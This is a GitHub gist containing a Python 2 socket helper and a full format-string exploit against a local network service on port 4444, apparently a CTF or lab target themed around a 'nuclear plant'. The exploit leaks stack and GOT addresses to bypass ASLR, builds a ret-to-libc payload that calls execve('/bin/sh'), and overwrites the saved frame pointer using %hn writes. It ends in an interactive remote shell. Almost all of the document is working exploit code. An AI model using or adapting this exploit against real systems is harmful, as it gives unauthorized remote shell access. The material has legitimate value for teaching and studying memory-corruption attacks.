Skip to content

Instantly share code, notes, and snippets.

@vanhoefm
Created April 6, 2013 17:10
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vanhoefm/5326833 to your computer and use it in GitHub Desktop.
Save vanhoefm/5326833 to your computer and use it in GitHub Desktop.
# -------------- netcatlib.py -----------------------------------
import socket
class Netcat:
# TODO: ip and port should be optionaly, and an open() method should be added
# TODO: specify a timeout argument as well?
def __init__(self, ip, port):
self.buff = ""
self.soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.soc.connect((ip, port))
def read_until(self, data):
# Remark that by default sockets are in blocking mode,
# waiting until *some* data has arrived.
while not data in self.buff:
self.buff += self.soc.recv(1024)
pos = self.buff.find(data)
rval = self.buff[:pos + len(data)]
self.buff = self.buff[pos + len(data):]
return rval
def write(self, data):
self.soc.send(data)
# -------------- exploit.py -------------------------------------
import netcatlib
def dword_to_bitstring(number):
bitstring = ""
for i in range(4):
bitstring += chr(number % 256)
number /= 256
return bitstring
def bitstring_to_dword(bitstring):
number = 0
for i in range(3,-1,-1):
number = (number * 256) + ord(bitstring[i])
return number
# Step 0 --- Connect to the target
nc = netcatlib.Netcat("localhost", 4444)
print "[+] Connected"
# Step 1a --- Defeating ASLR with information leakage: location of stack
INFOLEAK = "%10$p:ENDEBP:%11$p:ENDRET:"
nc.read_until("Your choice: ")
nc.write("1" + "\n")
nc.read_until("Insert name: ")
nc.write(INFOLEAK + "A"*(100 - len(INFOLEAK)) + "\x01\x01"*4 + "\xFF\xFF" + "\n")
nc.read_until("Uranium in nuclear plant \"")
ebp = int(nc.read_until(":ENDEBP:")[:-8], 16)
print "[+] Saved frame pointer :", hex(ebp)
location_ebp = ebp - 0x440
# location ebp : 0xbfffda28
# location ebp in printf: 0xbfffd9f8
location_ebp_printf = location_ebp - 0x30
location_payload = ebp + 0x20 + 10*112
print " > Location saved fp :", hex(location_ebp)
print " > Location fp in printf :", hex(location_ebp_printf)
print " > Location of 1st payload :", hex(location_payload)
# Step 1b --- Defeating ASLR with information leakage: location of code
ret = int(nc.read_until(":ENDRET:")[:-8], 16)
print "[+] Return address :", hex(ret)
# return address: 0x080491ce
# GOT entry of fork: 0x804c05c
location_got_fork = ret + 0x2E8E
print " > Location of fork in GOT :", hex(location_got_fork)
# Step 1c--- Get the address of execve
# FIXME: We assume there are no zeros in the address, otherwise we also
# can't construct our payload.
LEAKFORKADDR = dword_to_bitstring(location_got_fork)
LEAKFORKADDR += "%22$s:ENFORK:"
nc.read_until("Your choice: ")
nc.write("1" + "\n")
nc.read_until("Insert name: ")
nc.write(LEAKFORKADDR + "A"*(100 - len(LEAKFORKADDR)) + "\x01\x01"*4 + "\xFF\xFF" + "\n")
nc.read_until("Uranium in nuclear plant \"")
addrfork = bitstring_to_dword(nc.read_until(":ENFORK:")[4:-8])
print "[+] Address of fork :", hex(addrfork)
# fork: 0xb7f0c970
# execve: 0xb7f0cc90
addrexecve = addrfork + 0x320
print " > Address of execve :", hex(addrexecve)
# Step 2 --- Payload: place the constructed stack which we will execute subsequently
# ---- STACK LAYOUT ----
#
# address of execve OK no zeros
# + 4 fake return address
# + 8 pointer to "/bin/sh" ZEROS?
# +12 pointer to argv
# +16 pointer to envp
# +20 ASCII "/bin/shA"
# +28 NULL
PAYLOAD = dword_to_bitstring(addrexecve)
PAYLOAD += "AAAA"
PAYLOAD += dword_to_bitstring(location_payload + 20)
PAYLOAD += dword_to_bitstring(location_payload + 28)
PAYLOAD += dword_to_bitstring(location_payload + 28)
PAYLOAD += "/bin/sh"
nc.read_until("Your choice: ")
nc.write("1" + "\n")
nc.read_until("Insert name: ")
nc.write(PAYLOAD + "\n")
print "[+] Payload has been stored :", repr(PAYLOAD), "of length", len(PAYLOAD)
# Step 3 --- Exploit: trigger the payload so we get a nice shell
# We will overwrite the saved ebp value so it points to our constructed payload
# ---- FROMAT STRING LAYOUT ----
#
# addr of HO part saved ebp -> ebp - 0x440 + 2
# addr of LO part saved ebp -> ebp - 0x440
# H.O. of location_payload
# %X$hn -> overwrite H.O. part
# L.O. of location_payload - L.O. of location_payload
# %X$hn -> overwrite L.O. part
# minus 4 because leave does "mov %ebp, %esp" and then "pop %ebp"
target_ebp_value = location_payload - 4
ebp_ho_count = ((target_ebp_value >> 16) % 0x10000)
ebp_lo_count = (target_ebp_value % 0x10000)
EXPLOIT = dword_to_bitstring(location_ebp_printf + 2)
EXPLOIT += dword_to_bitstring(location_ebp_printf)
if ebp_ho_count < ebp_lo_count:
# 8 characters already printed by two addresses above
EXPLOIT += "%" + str(ebp_ho_count - 8) + "x"
EXPLOIT += "%22$hn"
# minus ho_count because those are already printed
EXPLOIT += "%" + str(ebp_lo_count - ebp_ho_count) + "x"
EXPLOIT += "%23$hn"
else:
# 8 characters already printed by two addresses above
EXPLOIT += "%" + str(ebp_lo_count - 8) + "x"
EXPLOIT += "%23$hn"
# minus ho_count because those are already printed
EXPLOIT += "%" + str(ebp_ho_count - ebp_lo_count) + "x"
EXPLOIT += "%22$hn"
print "[+] Triggering payload with :", repr(EXPLOIT), "having length", len(EXPLOIT)
nc.read_until("Your choice: ")
nc.write("1" + "\n")
nc.read_until("Insert name: ")
nc.write(EXPLOIT + "A"*(100 - len(EXPLOIT)) + "\x01\x01"*4 + "\xFF\xFF" + "\n")
nc.read_until("Uranium in nuclear plant \"")
# Step 4 --- Test whether we've got our shell and let the magic happen
nc.write("echo \"GOT A SHELL\"\n")
nc.read_until("GOT A SHELL\n")
print "\nSUCCESS! We have a shell!\n"
while True:
command = raw_input("$ ")
nc.write(command + "\n")
# quick and dirty way to detect end of output
nc.write("echo \":ENDOFOUTPUT:\"\n")
print nc.read_until(":ENDOFOUTPUT:\n")[:-14],
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment